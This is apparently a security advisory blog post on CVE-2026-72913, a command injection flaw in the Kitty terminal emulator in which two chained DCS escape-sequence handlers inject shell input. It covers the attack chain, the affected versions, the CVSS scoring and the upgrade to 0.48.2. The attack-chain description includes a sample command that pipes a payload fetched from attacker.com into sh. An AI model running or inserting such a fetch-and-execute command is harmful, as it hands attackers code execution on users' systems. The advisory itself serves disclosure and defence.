CVE-2026-72913: Kitty Terminal Command Injection via Chained DCS Escape Sequences

CVE-2026-72913: Kitty Terminal Command Injection via Chained DCS Escape Sequences

Kitty's @kitty-echo and @kitty-ssh DCS handlers write unauthenticated escape sequence data to the child shell's stdin, enabling command injection when untrusted text is displayed. Fixed in 0.48.2.

4 min read984 words
Contents

TL;DR: The Kitty terminal emulator's @kitty-echo and @kitty-ssh DCS handlers write unauthenticated escape sequence data directly to the child shell's stdin. By chaining these two handlers, an attacker can inject arbitrary shell commands that execute when a user displays untrusted text inside Kitty. Fixed in version 0.48.2. CVSS 4.0 score: 7.3 (High). A public exploit exists.

The Attack Chain

Terminals parse escape sequences from whatever data the screen receives. A DCS (Device Control String) sequence starts with ESC P and ends with ST (ESC \). Kitty defines two custom DCS handlers identified by the strings @kitty-echo and @kitty-ssh. Both write data back to the child process, which is normally the user's shell.

The @kitty-echo handler calls handle_remote_echo in kitty/window.py. This function accepts printable ASCII characters and writes them to the child's stdin. The intent is to support remote echo functionality, but the implementation does not validate that the incoming data is safe to pass to a shell. Printable characters include letters, numbers, spaces, semicolons, pipes, and backticks. Those characters are enough to construct arbitrary shell commands.

The @kitty-ssh handler calls get_ssh_data in kittens/ssh/utils.py. When this function fails to find the expected SSH data, it emits a newline character as part of its error response. That newline is the missing piece.

Here is how the chain works:

  1. The attacker crafts a DCS sequence using @kitty-echo to write a shell command (e.g., curl attacker.com/payload | sh) to the child's stdin. The command sits in the shell's input buffer, typed but not yet executed.
  2. Immediately after, the attacker sends a DCS sequence using @kitty-ssh with invalid SSH data. The handler emits a newline.
  3. The newline hits the shell. The shell interprets everything in the input buffer as a complete command line and executes it.

The victim does not type anything. The victim does not paste anything. The victim only needs to display text that contains the crafted escape sequences. That text can come from a remote source: a log file printed over SSH, output from cat on a file that contains the escape sequences, a curl response rendered in the terminal, or a file piped through less. Any program that writes the attacker's bytes to the terminal triggers the attack.

According to the cybersecurity-help.cz vulnerability database, a public exploit for this issue is available. The advisory from kovidgoyal lists the attack requirements as: the victim must use netcat or a similar program to connect to the attacker, or the victim must display data from a remote source that contains the crafted sequences.

What Kitty Is

Kitty is a cross-platform, GPU-accelerated terminal emulator written in Python and C by Kovid Goyal. It runs on Linux, macOS, and BSD. The project has 33,400 stars on GitHub and is one of the most popular terminal emulators among Linux power users and developers. Kitty differentiates itself from alternatives like Alacritty and GNOME Terminal by offering a built-in kitten system (plugin-like extensions), remote control via DCS sequences, and image protocol support.

The DCS sequence handlers that make this attack possible are part of Kitty's remote control and SSH integration features. @kitty-echo supports remote echo for SSH kitten, and @kitty-ssh handles SSH connection data. Both write to the child process's stdin, which is the standard design for terminal escape sequence handlers that interact with the shell.

Who Is Affected

All Kitty versions prior to 0.48.2 are vulnerable. The vulnerability requires local access to display data: the attacker needs to get the victim to render text containing the escape sequences. This means the attack vector is typically:

  • Displaying output from a compromised remote server over SSH
  • Catting a maliciously crafted file
  • Piping untrusted data through any tool that writes raw bytes to the terminal (curl, wget, git log on a malicious repo)
  • Using netcat or a similar tool to receive data from an attacker-controlled server

The CVSS 4.0 vector is AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. The attack requires local access and passive user interaction, but achieves full confidentiality, integrity, and availability impact on the vulnerable system. The exploit maturity field is undefined in the advisory, but the cybersecurity-help.cz database lists the exploit as public.

The Fix

Upgrade to Kitty 0.48.2. The patch (commit 9dca948) sanitizes the DCS handler input so that shell metacharacters written via @kitty-echo and @kitty-ssh are escaped or stripped before reaching the child stdin.

For most users:

# Linux (package manager)
# Check your distro's package for kitty 0.48.2

# Direct install
curl -L https://sw.kovidgoyal.net/kitty/installer.sh | sh /dev/stdin

# macOS (homebrew)
brew upgrade --cask kitty

If you cannot upgrade, avoid displaying untrusted text in Kitty sessions. Pipe untrusted output through cat -v to strip escape sequences, or use a pager that filters control sequences by default.

Why This Matters

Terminal escape sequence injection is a recurring class of vulnerability that has affected xterm (CVE-2008-2383, CVE-2022-45063), GNOME Terminal, and now Kitty twice in 2026. The earlier Kitty CVE (CVE-2026-54057, fixed in 0.47.3) involved unsanitized OSC 21 query replies that reflected attacker bytes into the shell. This new CVE targets a different handler pair but exploits the same root cause: terminal escape sequence handlers that write data to the child process without sanitizing shell metacharacters.

The attack is realistic for developers and sysadmins who routinely pipe remote data into terminal sessions. Reading logs from a compromised server, inspecting files from an untrusted source, or debugging output from a CI pipeline can all trigger the chain. The public exploit availability increases the risk of active exploitation.

CWE-77 (Command Injection) is the primary weakness classification. The advisory also tags CWE-93 (CRLF Injection) for the newline injection via @kitty-ssh and CWE-150 (Improper Neutralization of Escape, Meta, or Control Sequences) for the broader category of terminal escape sequence vulnerabilities.

References

Continue reading

All posts